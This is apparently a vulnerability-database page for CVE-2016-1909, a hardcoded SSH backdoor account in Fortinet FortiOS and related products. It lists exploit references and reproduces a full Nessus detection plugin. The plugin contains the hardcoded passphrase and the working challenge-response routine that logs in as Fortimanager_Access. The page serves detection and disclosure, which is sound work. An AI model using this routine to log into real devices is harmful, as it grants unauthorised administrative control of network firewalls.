Vulnerabilities > CVE-2016-1909 - Permissions, Privileges, and Access Controls vulnerability in Fortinet Fortios

047910
CVSS 10.0 - CRITICAL
Attack vector
NETWORK
Attack complexity
LOW
Privileges required
NONE
Confidentiality impact
COMPLETE
Integrity impact
COMPLETE
Availability impact
COMPLETE
network
low complexity
fortinet
CWE-264
critical
nessus
exploit available
metasploit

Summary

Fortinet FortiAnalyzer before 5.0.12 and 5.2.x before 5.2.5; FortiSwitch 3.3.x before 3.3.3; FortiCache 3.0.x before 3.0.8; and FortiOS 4.1.x before 4.1.11, 4.2.x before 4.2.16, 4.3.x before 4.3.17 and 5.0.x before 5.0.8 have a hardcoded passphrase for the Fortimanager_Access account, which allows remote attackers to obtain administrative access via an SSH session.

Vulnerable Configurations

Part Description Count
OS
Fortinet
106

Common Attack Pattern Enumeration and Classification (CAPEC)

  • Accessing, Modifying or Executing Executable Files
    An attack of this type exploits a system's configuration that allows an attacker to either directly access an executable file, for example through shell access; or in a possible worst case allows an attacker to upload a file and then execute it. Web servers, ftp servers, and message oriented middleware systems which have many integration points are particularly vulnerable, because both the programmers and the administrators must be in synch regarding the interfaces and the correct privileges for each interface.
  • Leverage Executable Code in Non-Executable Files
    An attack of this type exploits a system's trust in configuration and resource files, when the executable loads the resource (such as an image file or configuration file) the attacker has modified the file to either execute malicious code directly or manipulate the target process (e.g. application server) to execute based on the malicious configuration parameters. Since systems are increasingly interrelated mashing up resources from local and remote sources the possibility of this attack occurring is high. The attack can be directed at a client system, such as causing buffer overrun through loading seemingly benign image files, as in Microsoft Security Bulletin MS04-028 where specially crafted JPEG files could cause a buffer overrun once loaded into the browser. Another example targets clients reading pdf files. In this case the attacker simply appends javascript to the end of a legitimate url for a pdf (http://www.gnucitizen.org/blog/danger-danger-danger/) http://path/to/pdf/file.pdf#whatever_name_you_want=javascript:your_code_here The client assumes that they are reading a pdf, but the attacker has modified the resource and loaded executable javascript into the client's browser process. The attack can also target server processes. The attacker edits the resource or configuration file, for example a web.xml file used to configure security permissions for a J2EE app server, adding role name "public" grants all users with the public role the ability to use the administration functionality. The server trusts its configuration file to be correct, but when they are manipulated, the attacker gains full control.
  • Blue Boxing
    This type of attack against older telephone switches and trunks has been around for decades. A tone is sent by an adversary to impersonate a supervisor signal which has the effect of rerouting or usurping command of the line. While the US infrastructure proper may not contain widespread vulnerabilities to this type of attack, many companies are connected globally through call centers and business process outsourcing. These international systems may be operated in countries which have not upgraded Telco infrastructure and so are vulnerable to Blue boxing. Blue boxing is a result of failure on the part of the system to enforce strong authorization for administrative functions. While the infrastructure is different than standard current applications like web applications, there are historical lessons to be learned to upgrade the access control for administrative functions.
  • Restful Privilege Elevation
    Rest uses standard HTTP (Get, Put, Delete) style permissions methods, but these are not necessarily correlated generally with back end programs. Strict interpretation of HTTP get methods means that these HTTP Get services should not be used to delete information on the server, but there is no access control mechanism to back up this logic. This means that unless the services are properly ACL'd and the application's service implementation are following these guidelines then an HTTP request can easily execute a delete or update on the server side. The attacker identifies a HTTP Get URL such as http://victimsite/updateOrder, which calls out to a program to update orders on a database or other resource. The URL is not idempotent so the request can be submitted multiple times by the attacker, additionally, the attacker may be able to exploit the URL published as a Get method that actually performs updates (instead of merely retrieving data). This may result in malicious or inadvertent altering of data on the server.
  • Target Programs with Elevated Privileges
    This attack targets programs running with elevated privileges. The attacker would try to leverage a bug in the running program and get arbitrary code to execute with elevated privileges. For instance an attacker would look for programs that write to the system directories or registry keys (such as HKLM, which stores a number of critical Windows environment variables). These programs are typically running with elevated privileges and have usually not been designed with security in mind. Such programs are excellent exploit targets because they yield lots of power when they break. The malicious user try to execute its code at the same level as a privileged system call.

Exploit-Db

  • descriptionFortiGate OS Version 4.x - 5.0.7 - SSH Backdoor. CVE-2016-1909. Remote exploit for hardware platform
    idEDB-ID:39224
    last seen2016-02-04
    modified2016-01-12
    published2016-01-12
    reporteroperator8203
    sourcehttps://www.exploit-db.com/download/39224/
    titleFortiGate OS Version 4.x - 5.0.7 - SSH Backdoor
  • descriptionFortinet FortiGate 4.x < 5.0.7 - SSH Backdoor Access. CVE-2016-1909. Remote exploit for Linux platform
    idEDB-ID:43386
    last seen2018-01-08
    modified2016-01-09
    published2016-01-09
    reporterExploit-DB
    sourcehttps://www.exploit-db.com/download/43386/
    titleFortinet FortiGate 4.x < 5.0.7 - SSH Backdoor Access
  • idEDB-ID:39224

Metasploit

descriptionThis module scans for the Fortinet SSH backdoor.
idMSF:AUXILIARY/SCANNER/SSH/FORTINET_BACKDOOR
last seen2020-05-22
modified2018-12-12
published2016-02-28
references
reporterRapid7
sourcehttps://github.com/rapid7/metasploit-framework/blob/master//modules/auxiliary/scanner/ssh/fortinet_backdoor.rb
titleFortinet SSH Backdoor Scanner

Nessus

NASL familyMisc.
NASL idFORTIOS_SSH_BACKDOOR.NASL
descriptionThe SSH server running on the remote host can be logged into using default SSH credentials. The
last seen2020-03-18
modified2016-01-13
plugin id87896
published2016-01-13
reporterThis script is Copyright (C) 2016-2019 and is owned by Tenable, Inc. or an Affiliate thereof.
sourcehttps://www.tenable.com/plugins/nessus/87896
titleFortinet FortiOS SSH Undocumented Interactive Login Vulnerability
code
#TRUSTED 0559475cc3068f3f384aeb6d01feb3e3cc80d77ec21811555df4b00593b7f5abf92c2d1d9f9f15b3867715521bc4595a16e1c02f8c1dbb929f21624f4cf060383540c472d63333ee3720cc465aef00729184ab6ed5fcd3c50db69f7278c9daa935f9aa96078c716cee1d37503e5ba4a17f9f00aae0ff3eb693e453ff65b3d7eba4d24e93eabcb78067436e71c7dae564997b9593200a6a7c80585f013afa61bc1a89ec3cea5783d4206086af492954e46b6783d0bea4ea34dca4ebff708d0760c262efd4b4d36fb2f07a7060eb8d747d52eb293b3bff0f8e7dee8e7ff5918d2416887ac3d01b990877e4631714a5492b01784ffc7f08f31fbd0f369a6ef9480170ee860d6669de24e4939f9de174e650dae91e3bec3151f0222539663d39acad73367ff57efde9fd6f3ae716a78410bd41a5013aff69fa1a4e8c494afaf0373a207bba6557842925a81497f092ddae44eb454f4470a7f08a532b84273a08740ab0d2d605fad80bf3e6ecac82fb088e84216e4b0e118eab41c96a155fed2a7c5d272ee9ce63c7da2df86eaa2ee8eda6ebf75b9c744c24d8b8744d3cf896a7fc8b76542a9fb1ea3f57519bd730676cb1092036b0d2b2dfeaff7c1c1b32c3e49fa7a5c7800d3d563b05e464b77014277febbba7f39aff523a37608c144f44117f0e10e1207ed4fb5fa3a392b74f1c0f832342a81e6906190f2a9284c74e20a674b9
#
# (C) Tenable Network Security, Inc.
#

include("compat.inc");

if (description)
{
  script_id(87896);
  script_version("1.17");
  script_set_attribute(attribute:"plugin_modification_date", value:"2020/06/12");

  script_cve_id("CVE-2016-1909");
  script_bugtraq_id(80581);

  script_name(english:"Fortinet FortiOS SSH Undocumented Interactive Login Vulnerability");
  script_summary(english:"Attempts to login to SSH as the user 'Fortimanager_Access'.");

  script_set_attribute(attribute:"synopsis", value:
"The SSH server running on the remote host can be logged into using
default SSH credentials.");
  script_set_attribute(attribute:"description", value:
"The SSH server running on the remote host can be logged into using
default SSH credentials. The 'Fortimanager_Access' account has a
password based on the string 'FGTAbc11*xy+Qqz27' and a calculated hash
that is publicly known. A remote attacker can exploit this to gain
administrative access to the remote host.");
  # https://blog.fortinet.com/post/brief-statement-regarding-issues-found-with-fortios
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?0c2dcc56");
  script_set_attribute(attribute:"see_also", value:"https://seclists.org/fulldisclosure/2016/Jan/26");
  script_set_attribute(attribute:"solution", value:
"Upgrade to Fortinet FortiOS 4.3.17 / 5.0.8 / 5.2.x / 5.4.x or later.
Alternatively, as a workaround, disable administrative access via SSH
on all interfaces.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C");
  script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");
  script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H");
  script_set_cvss3_temporal_vector("CVSS:3.0/E:P/RL:O/RC:C");
  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");

  script_set_attribute(attribute:"vuln_publication_date", value:"2016/01/12");
  script_set_attribute(attribute:"patch_publication_date", value:"2014/07/09");
  script_set_attribute(attribute:"plugin_publication_date", value:"2016/01/13");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/o:fortinet:fortios");
  script_set_attribute(attribute:"in_the_news", value:"true");
  script_set_attribute(attribute:"default_account", value:"true");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"Misc.");

  script_copyright(english:"This script is Copyright (C) 2016-2020 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("ssh_detect.nasl");
  script_require_ports("Services/ssh");

  script_exclude_keys("global_settings/supplied_logins_only");

  exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("ssh_func.inc");
include("data_protection.inc");

checking_default_account_dont_report = TRUE;

disable_ssh_wrappers();
# This script duplicates a handful of code in ssh_func.inc. The reason for
# this is that this exploit requires special logic at the interactive password
# prompt. Instead of having a normal prompt like "Password:", affected versions
# will prompt with a string of digits. These digits are rolled into a
# custom "hashing" algorithm in order to generate a semi-random password.

function ssh_custom_interactive_auth(user, port)
{
  local_var code, crap, next, payload, prompt, prompts, res, inst, i, password;

  # Request keyboard-interactive authentication from the server.
  payload =
    putstring(buffer:user) +
    putstring(buffer:"ssh-connection") +
    putstring(buffer:"keyboard-interactive") +
    putstring(buffer:"en-US") +
    putstring(buffer:"");

  send_ssh_packet(code:SSH_MSG_USERAUTH_REQUEST, payload:payload);

  # Read the server's response.
  res = recv_ssh_packet();
  code = ord(res[0]);
  next = 1;

  if (code == SSH_MSG_USERAUTH_FAILURE) return FALSE;
  if (code == SSH_MSG_UNIMPLEMENTED) return FALSE;
  if (code != SSH_MSG_USERAUTH_INFO_REQUEST) return FALSE;

  # Skip over name.
  crap = getstring(buffer:res, pos:next);
  next += 4 + strlen(crap);

  # Skip over instruction.
  inst = getstring(buffer:res, pos:next);
  next += 4 + strlen(inst);

  # Skip over language.
  crap = getstring(buffer:res, pos:next);
  next += 4 + strlen(crap);

  # Parse number of prompts.
  prompts = ntol(buffer:res, begin:next);
  next += 4;

  if (prompts <= 0) return FALSE;

  # the prompt is the challenge code
  prompt = getstring(buffer:res, pos:next);

  # verify the "prompt" is all numerals
  for (i = 0; i < strlen(prompt); i++) {
    if (prompt[i] < '0' || prompt[i] >'9') {
      if (i != 0) return FALSE;
      else if (prompt[i] != '-') return FALSE;
    }
  }

  # generate the SHA1 encoded portion
  local_var sha1_password = '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00';
  sha1_password += prompt;
  sha1_password += 'FGTAbc11*xy+Qqz27';
  sha1_password += '\xA3\x88\xBA\x2E\x42\x4C\xB0\x4A\x53\x79\x30\xC1\x31\x07\xCC\x3F\xA1\x32\x90\x29\xA9\x81\x5B\x70';
  sha1_password = SHA1(sha1_password);

  # generate the base64 encoded version
  local_var base64_password = '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00';
  base64_password += sha1_password;
  base64_password = base64(str:base64_password);

  # the final form of the password
  password = 'AK1' + base64_password;

  # Send a single response, containing the password, to server.
  SSH_PACKET_LOG_SCRUB_STRING = password;
  payload = raw_int32(i:1) + putstring(buffer:password);
  send_ssh_packet(code:SSH_MSG_USERAUTH_INFO_RESPONSE, payload:payload);
  SSH_PACKET_LOG_SCRUB_STRING = FALSE;

  # Read response from server.
  res = recv_ssh_packet();
  code = ord(res[0]);
  return code == SSH_MSG_USERAUTH_SUCCESS;
}

if (supplied_logins_only) audit(AUDIT_SUPPLIED_LOGINS_ONLY);

# Hard coded username enabled keyboard-interactive
user = 'Fortimanager_Access';
password = '';
port = get_service(svc:"ssh", exit_on_fail:TRUE);

_ssh_socket = open_sock_tcp(port);
if (!_ssh_socket) audit(AUDIT_SOCK_FAIL, port);

# initialization
init();
server_version = ssh_exchange_identification();
if (!server_version)
{
  ssh_close_connection();
  audit(AUDIT_RESP_BAD, port, "SSH ID exchange.");
}

_ssh_server_version = server_version;

# key exchange
ret = ssh_kex2(server_version:server_version, nofingerprint:TRUE);
if (ret != 0)
{
  ssh_close_connection();
  audit(AUDIT_LISTEN_NOT_VULN, "SSH", port);
}

if (!ssh_req_svc("ssh-userauth"))
{
  ssh_close_connection();
  audit(AUDIT_LISTEN_NOT_VULN, "SSH", port);
}

if (!ssh_auth_supported(method:"keyboard-interactive", user:user))
{
  ssh_close_connection();
  audit(AUDIT_LISTEN_NOT_VULN, "SSH", port);
}

system_status = '';
if (ssh_custom_interactive_auth(user:user, port:port)) {
  resp = ssh_cmd(cmd:"get system status", nosh:TRUE, nosudo:TRUE);
  if (resp && "Version:" >< resp) {
    system_status = resp;
  }
}

ssh_close_connection();

if (system_status != '')
{
  if (report_verbosity > 0)
  {
     report =
       '\n' + 'It was possible to SSH into the remote FortiOS device using the' +
       '\n' + 'following username :' +
       '\n' +
       '\n' + '  User     : ' + data_protection::sanitize_user_enum(users:user) +
       '\n' +
       '\n' + 'and to run the \'get system status\' command, which returned :'+
       '\n' +
       '\n' + system_status + '\n';
    security_hole(port:port, extra:report);
  } else security_hole(port:port);
}
else
{
  audit(AUDIT_LISTEN_NOT_VULN, "SSH", port);
}

Saint

descriptionFortiOS Fortimanager_Access SSH account backdoor
titlefortigate_ssh_backdoor
typeremote